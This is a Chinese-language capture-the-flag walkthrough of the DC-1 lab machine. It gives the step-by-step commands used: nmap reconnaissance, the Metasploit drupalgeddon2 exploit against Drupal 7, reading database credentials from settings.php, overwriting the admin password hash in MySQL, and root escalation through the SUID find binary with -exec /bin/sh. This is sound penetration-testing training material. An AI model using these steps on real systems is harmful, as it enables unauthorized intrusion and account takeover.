DC-1靶机渗透详解
环境搭建
@ kali-Debian8.x-64 位(172.20.10.111/24)
@ dc-1靶机
@ 两台主机都设置为nat模式
信息收集
@ 使用 nmap -sP 172.20.10.0/24 扫描本网段内的存活主机
@ 可以发现目标靶机IP为 172.20.10.134/24
@ 接下来要对靶机进行进一步扫描,查看靶机开放了哪些服务及服务版本
@ 靶机开启了 SSH(22) 服务与 HTTP(80) 服务
@ 尝试使用浏览器访问靶机的 HTTP 服务
@ 使用 Firefox 的 Wappalyzer 插件获取该网页的信息
@ 该网页使用的是 Drupal7.x 版本的 CMS,考虑用MSF search一下该CMS已知的漏洞
@ msfconsole 启动MSF
@ search drupal
漏洞利用
@ 有很多可以使用的模块,选择一个最新的模块进行利用
@ use exploit/unix/webapp/drupal_drupalgeddon2
@ 设置目标IP地址 set RHOST 172.20.10.134
@ 利用该模块进行攻击 exploit,可以成功获取目标靶机的 shell
@ 使用 python 中的一个模块方法,调整 shell 为交互式模式
@ python -c ‘import pty;pty.spawn("/bin/bash")’
@ whoami 查看一下当前用户的权限
@ 当前用户为 web 用户(www-data),ls 查看一下当前目录下有哪些文件
@ 发现当前目录下有一个 flag1.txt 文件,cat flag1.txt 查看一下内容
@ 提示需要一个配置文件,Drupal CMS 的配置文件在 sites/default/setings.php
@ 查看一下该配置文件的内容 cat sites/default/setings.php
@ 发现该配置文件就是flag2,其中开头部分提示有关于数据库的信息和关键字段
@ netstat -antpl 查看一下本地开放的端口号,该数据库属于那种数据库
@ 本地开放 3306 端口号,为 mysql 数据库,用flag2中的账密尝试登录一下 mysql
@ 登录成功,查找数据库里的有关用户名的表,以及该表里有关管理员的账密
@ admin 账户的密码是其密码加密后的 hash 值
@ 考虑生成一段已知密文,替代该表中 admin 用户的密文
@ php scripts/password-hash.sh 123.com
@ update drupaldb.users set pass=‘生成的hash值’ where name=‘admin’;
@ 用 admin/123.com 登录一下网页
@ 登录成功后,发现 flag3
@ 根据 flag3 中的提示信息(FIND,PERMS),考虑尝试提权
提权
@ 查找具有 suid 的文件
@ 发现 find 命令存在 suid 权限,考虑使用 find 提权
@ touch hack 新建一个文件
@ find /var/www hack -exec ‘/bin/sh’ \; find 提权
@ 提权成功后,cd /home 查看靶机都有哪些用户
@ 发现有一个 flag4 用户,进入 flag4 的家目录,看一下有什么文件
@ 发现 flag4 家目录下有 flag4.txt 文件,cat flag4.txt 查看文件内容
@ flag4.txt 提示用相同的方法访问 root 家目录的 flag
@ cd /root 进入 root 的家目录查看一下有什么文件
@ 发下一个最终的 flag,cat thefinalflag.txt 查看一下文件内容
总结
@ 信息收集是渗透测试必不可少的部分
@ 拿到 shell 后,查看 drupal CMS 的配置文件
@ 登录 mysql 数据库,修改管理员密码
@ 查找具有 suid 权限的命令文件并提权
@ 搜索所有用户家目录下的文件